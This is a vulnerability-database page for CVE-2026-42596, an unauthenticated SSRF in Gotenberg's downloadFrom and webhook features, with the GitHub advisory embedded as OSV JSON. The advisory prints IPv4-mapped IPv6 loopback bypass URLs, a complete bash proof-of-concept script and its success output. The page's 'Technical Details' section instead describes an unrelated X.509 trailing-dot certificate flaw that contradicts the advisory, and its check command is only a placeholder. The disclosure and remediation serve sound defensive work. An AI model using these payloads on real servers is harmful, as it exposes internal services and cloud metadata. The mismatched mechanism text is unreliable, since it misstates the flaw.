CVE-2026-42596: Github.com/gotenberg/gotenberg/v8 Gotenberg Vulnerable To Unauthenticated SSRF Vulnerability
CRITICALCVE-2026-42596 is a CRITICAL (CVSS 9.4) gotenberg vulnerable to unauthenticated ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Github.com/gotenberg/gotenberg/v8 libraries in the Go ecosystem. The issue involves gotenberg vulnerable to unauthenticated ssrf via default deny-list bypass in downloadfrom and webhook. Remediation is available by upgrading affected packages to version 8.32.0.
CVE-2026-42596 at a Glance
Security Impact
CVSS: 9.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L).
How to Fix CVE-2026-42596
To remediate this vulnerability, upgrade all affected Github.com/gotenberg/gotenberg/v8 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/gotenberg/gotenberg/v8 to 8.32.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/gotenberg/gotenberg/v8
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-42596, inspect your project dependencies for Github.com/gotenberg/gotenberg/v8:
inspect dependencies for github.com/gotenberg/gotenberg/v8
Analyze the terminal output to locate any version of Github.com/gotenberg/gotenberg/v8 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.32.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & RFC 5280 Specification
Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of Github.com/gotenberg/gotenberg/v8 failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.
Source Advisory Statement
CVE-2026-42596 Affected Github.com/gotenberg/gotenberg/v8 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/gotenberg/gotenberg/v8
|
Go |
< 8.32.0
|
8.32.0
|
References
Frequently Asked Questions
What is CVE-2026-42596?
Which Github.com/gotenberg/gotenberg/v8 versions are affected?
What version fixes CVE-2026-42596?
Is github.com/gotenberg/gotenberg/v8 affected?
What is the CVSS score of CVE-2026-42596?
What CWE is associated with CVE-2026-42596?
How can I check Go dependencies for CVE-2026-42596?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4vmc-gm8v-m35h",
"modified" : "2026-05-14T20:52:50Z",
"published" : "2026-05-07T01:15:19Z",
"aliases" : [ "CVE-2026-42596" ],
"summary" : "Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook",
"details" : "### Summary\nThe default deny-lists used by Gotenberg's `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http://[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.\n\n### Details\nThe issue originates from the shipped default deny-list regexes and the way those regexes are applied:\n\n- `pkg/modules/api/api.go:198-200` defines the default `api-download-from-deny-list`.\n- `pkg/modules/webhook/webhook.go:41-43` defines the default `webhook-deny-list`.\n- `pkg/gotenberg/filter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching.\n\nThe attacker-controlled URL then reaches outbound request sinks:\n\n- `pkg/modules/api/context.go:208-282`\n - Reads attacker-supplied `downloadFrom`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`.\n- `pkg/modules/webhook/middleware.go:99-217`\n - Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Constructs a `client` for outbound delivery.\n- `pkg/modules/webhook/client.go:39-152`\n - Sends the success or error webhook request.\n- `pkg/modules/webhook/client.go:155-216`\n - Sends the webhook event request.\n\nWhy the bypass works:\n\n1. The default deny-list only blocks lowercase `http://` and `https://` prefixes.\n2. The filtering logic performs case-sensitive regex matching on the raw user input.\n3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http://[::ffff:127.0.0.1]:18081/...`.\n4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.\n\nConfirmed bypass used during verification:\n\n- `http://[::ffff:127.0.0.1]:18081/page_1.pdf`\n- `http://[::ffff:127.0.0.1]:18082/upload`\n- `http://[::ffff:127.0.0.1]:18082/events`\n\nThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths.\n\n### PoC\n#### One-command verification\nFrom the repository root:\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'\n./tmp/poc/verify_ssrf_poc.sh\n```\n\nWhat the script does:\n\n1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.\n2. Starts Gotenberg on `127.0.0.1:3000`.\n3. Starts an internal-only helper listener inside the same container network namespace.\n4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http://[::ffff:127.0.0.1]:18081/page_1.pdf`.\n5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http://[::ffff:127.0.0.1]:18082/upload` and `http://[::ffff:127.0.0.1]:18082/events`.\n6. Writes evidence artifacts to disk.\n\nExpected success output:\n\n```text\n[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf\nPASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\n[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload\nPASS webhook: Gotenberg POSTed to an internal-only loopback listener\n```\n\nEvidence files created by the script:\n\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json`\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log`\n\n#### Manual evidence commands\nThe following commands were run after the verifier completed successfully:\n\n```bash\njq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'\ncat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'\n```\n\nObserved output:\n\n```json\n{\n \"page_1.pdf\": {\n \"CreateDate\": \"2025:02:17 14:46:38+00:00\",\n \"FileType\": \"PDF\",\n \"FileTypeExtension\": \"pdf\",\n \"Linearized\": \"No\",\n \"MIMEType\": \"application/pdf\",\n \"ModifyDate\": \"2025:02:17 14:46:38+00:00\",\n \"PDFVersion\": 1.7,\n \"PageCount\": 1,\n \"Producer\": \"PDFTron built-in office converter, V11.2.0-d27340a176\\n\",\n \"SourceFile\": \"/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf\"\n }\n}\n```\n\n```text\nPOST /upload len=4363 content-type=application/pdf\nPOST /events len=126 content-type=application/json\n```\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3\n\n\n\nInterpretation:\n\n- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.\n- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.\n\n### `verify_ssrf_poc.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/../..\" && pwd)\"\nIMAGE=\"${IMAGE:-gotenberg-local-ssrf-poc:minimal}\"\nDOCKERFILE=\"${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}\"\nGOTENBERG_NAME=\"${GOTENBERG_NAME:-gotenberg-ssrf-poc}\"\nHELPER_NAME=\"${HELPER_NAME:-gotenberg-ssrf-helper}\"\nPORT=\"${PORT:-3000}\"\nARTIFACT_DIR=\"${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}\"\nTEST_PDF=\"$ROOT/test/integration/testdata/page_1.pdf\"\nDOWNLOAD_JSON=\"$ARTIFACT_DIR/downloadfrom-metadata.json\"\nWEBHOOK_LOG=\"$ARTIFACT_DIR/webhook.log\"\nHELPER_SCRIPT=\"$ARTIFACT_DIR/internal_helper.py\"\nDOWNLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18081/page_1.pdf\"\nWEBHOOK_UPLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/upload\"\nWEBHOOK_EVENTS_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/events\"\nPDF_ENGINE_FLAGS=(\n \"--pdfengines-merge-engines=qpdf\"\n \"--pdfengines-split-engines=qpdf\"\n \"--pdfengines-flatten-engines=qpdf\"\n \"--pdfengines-convert-engines=qpdf\"\n \"--pdfengines-read-metadata-engines=exiftool\"\n \"--pdfengines-write-metadata-engines=exiftool\"\n \"--pdfengines-encrypt-engines=qpdf\"\n \"--pdfengines-embed-engines=qpdf\"\n \"--pdfengines-read-bookmarks-engines=qpdf\"\n \"--pdfengines-write-bookmarks-engines=qpdf\"\n \"--pdfengines-watermark-engines=qpdf\"\n \"--pdfengines-stamp-engines=qpdf\"\n \"--pdfengines-rotate-engines=qpdf\"\n)\n\nred() { printf '\\033[31m%s\\033[0m\\n' \"$*\"; }\ngreen() { printf '\\033[32m%s\\033[0m\\n' \"$*\"; }\nblue() { printf '\\033[34m%s\\033[0m\\n' \"$*\"; }\n\ncleanup() {\n docker rm -f \"$HELPER_NAME\" >/dev/null 2>&1 || true\n docker rm -f \"$GOTENBERG_NAME\" >/dev/null 2>&1 || true\n}\n\nfail() {\n red \"$1\"\n printf '\\n--- gotenberg logs ---\\n'\n docker logs \"$GOTENBERG_NAME\" 2>/dev/null || true\n printf '\\n--- helper logs ---\\n'\n docker logs \"$HELPER_NAME\" 2>/dev/null || true\n exit 1\n}\n\ntrap cleanup EXIT\n\nmkdir -p \"$ARTIFACT_DIR\"\n: > \"$WEBHOOK_LOG\"\n\nif [[ ! -f \"$TEST_PDF\" ]]; then\n red \"Missing test PDF: $TEST_PDF\"\n exit 1\nfi\n\nif [[ ! -f \"$DOCKERFILE\" ]]; then\n red \"Missing Dockerfile: $DOCKERFILE\"\n exit 1\nfi\n\nif ! docker image inspect \"$IMAGE\" >/dev/null 2>&1; then\n blue \"[1/6] Building slim verification image: $IMAGE\"\n docker build -q -t \"$IMAGE\" -f \"$DOCKERFILE\" \"$ROOT\" >/dev/null\nelse\n blue \"[1/6] Reusing existing image: $IMAGE\"\nfi\n\nblue \"[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT\"\ncleanup\ndocker run -d --rm \\\n --name \"$GOTENBERG_NAME\" \\\n -p \"$PORT:3000\" \\\n \"$IMAGE\" \\\n --webhook-enable-sync-mode=true \\\n \"${PDF_ENGINE_FLAGS[@]}\" >/dev/null\n\nfor _ in $(seq 1 45); do\n if curl -fsS \"http://127.0.0.1:$PORT/health\" >/dev/null 2>&1; then\n break\n fi\n sleep 1\ndone\n\nif ! curl -fsS \"http://127.0.0.1:$PORT/health\" >/dev/null 2>&1; then\n fail \"Gotenberg did not become healthy\"\nfi\n\ncat > \"$HELPER_SCRIPT\" <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom threading import Event, Thread\n\nPDF_PATH = Path(\"/srv/page_1.pdf\")\nLOG_PATH = Path(\"/work/webhook.log\")\nPDF_BYTES = PDF_PATH.read_bytes()\n\n\nclass DownloadHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/pdf\")\n self.send_header(\"Content-Disposition\", 'attachment; filename=\"page_1.pdf\"')\n self.send_header(\"Content-Length\", str(len(PDF_BYTES)))\n self.end_headers()\n self.wfile.write(PDF_BYTES)\n\n def log_message(self, fmt, *args):\n return\n\n\nclass WebhookHandler(BaseHTTPRequestHandler):\n def do_POST(self):\n length = int(self.headers.get(\"Content-Length\", \"0\"))\n body = self.rfile.read(length)\n with LOG_PATH.open(\"a\", encoding=\"utf-8\") as f:\n f.write(\n f\"{self.command} {self.path} len={len(body)} \"\n f\"content-type={self.headers.get('Content-Type', '')}\\n\"\n )\n self.send_response(200)\n self.end_headers()\n\n do_PATCH = do_POST\n do_PUT = do_POST\n\n def log_message(self, fmt, *args):\n return\n\n\ndef serve(addr, handler):\n HTTPServer(addr, handler).serve_forever()\n\n\nThread(target=serve, args=((\"127.0.0.1\", 18081), DownloadHandler), daemon=True).start()\nThread(target=serve, args=((\"127.0.0.1\", 18082), WebhookHandler), daemon=True).start()\n\nprint(\"internal helper ready\", flush=True)\nEvent().wait()\nPY\n\nblue \"[3/6] Starting internal-only helper inside the same network namespace\"\ndocker run -d --rm \\\n --name \"$HELPER_NAME\" \\\n --network \"container:$GOTENBERG_NAME\" \\\n -v \"$TEST_PDF:/srv/page_1.pdf:ro\" \\\n -v \"$ARTIFACT_DIR:/work\" \\\n -v \"$HELPER_SCRIPT:/app/internal_helper.py:ro\" \\\n python:3.11-alpine \\\n python /app/internal_helper.py >/dev/null\n\nfor _ in $(seq 1 20); do\n if docker logs \"$HELPER_NAME\" 2>&1 | grep -q \"internal helper ready\"; then\n break\n fi\n sleep 1\ndone\n\nif ! docker logs \"$HELPER_NAME\" 2>&1 | grep -q \"internal helper ready\"; then\n fail \"Internal helper did not start\"\nfi\n\nblue \"[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL\"\ndownload_status=\"$(\n curl -sS \\\n -o \"$DOWNLOAD_JSON\" \\\n -w '%{http_code}' \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/metadata/read\" \\\n -F \"downloadFrom=[{\\\"url\\\":\\\"$DOWNLOAD_BYPASS_URL\\\"}]\"\n)\"\n\nif [[ \"$download_status\" != \"200\" ]]; then\n cat \"$DOWNLOAD_JSON\" 2>/dev/null || true\n fail \"downloadFrom verification failed with HTTP $download_status\"\nfi\n\nif ! jq -e 'has(\"page_1.pdf\")' \"$DOWNLOAD_JSON\" >/dev/null 2>&1; then\n cat \"$DOWNLOAD_JSON\" || true\n fail \"downloadFrom verification failed: expected metadata for page_1.pdf\"\nfi\n\ngreen \"PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\"\n\nblue \"[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL\"\nwebhook_status=\"$(\n curl -sS \\\n -o /dev/null \\\n -w '%{http_code}' \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/flatten\" \\\n -H \"Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL\" \\\n -H \"Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL\" \\\n -F \"files=@$TEST_PDF\"\n)\"\n\nif [[ \"$webhook_status\" != \"204\" ]]; then\n fail \"webhook verification failed with HTTP $webhook_status\"\nfi\n\nif ! grep -q '^POST /upload ' \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /upload was not hit\"\nfi\n\nif ! grep -q '^POST /events ' \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /events was not hit\"\nfi\n\ngreen \"PASS webhook: Gotenberg POSTed to an internal-only loopback listener\"\n\nblue \"[6/6] Evidence files\"\nprintf 'downloadFrom metadata: %s\\n' \"$DOWNLOAD_JSON\"\nprintf 'webhook log: %s\\n' \"$WEBHOOK_LOG\"\n\nprintf '\\n--- downloadFrom metadata excerpt ---\\n'\njq '{filename_present: has(\"page_1.pdf\"), sample_keys: (.\"page_1.pdf\" | keys[0:6])}' \"$DOWNLOAD_JSON\"\n\nprintf '\\n--- webhook log ---\\n'\ncat \"$WEBHOOK_LOG\"\n\nprintf '\\n'\ngreen \"Verification complete\"\nprintf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\\n'\n```\n\n### Impact\nThis is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.\n\nAffected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:\n\n- Read content from internal HTTP endpoints through `downloadFrom`.\n- Trigger state-changing POST/PATCH/PUT requests through the `webhook` feature.\n- Reach services bound only to localhost from the perspective of the Gotenberg host or container.\n\n### Remediation\n1. Normalize and structurally validate URLs before any allow-list or deny-list decision.\n Parse with `net/url`, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.\n\n2. Replace regex-only private-address filtering with resolved IP validation.\n Resolve the hostname, evaluate every resolved IP with `net/netip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.\n\n3. Reconsider the security default for outbound URL features.\n Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`/`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/gotenberg/gotenberg/v8"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "8.32.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 8.30.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42596"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gotenberg/gotenberg"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T01:15:19Z",
"nvd_published_at" : "2026-05-14T16:16:22Z"
}
}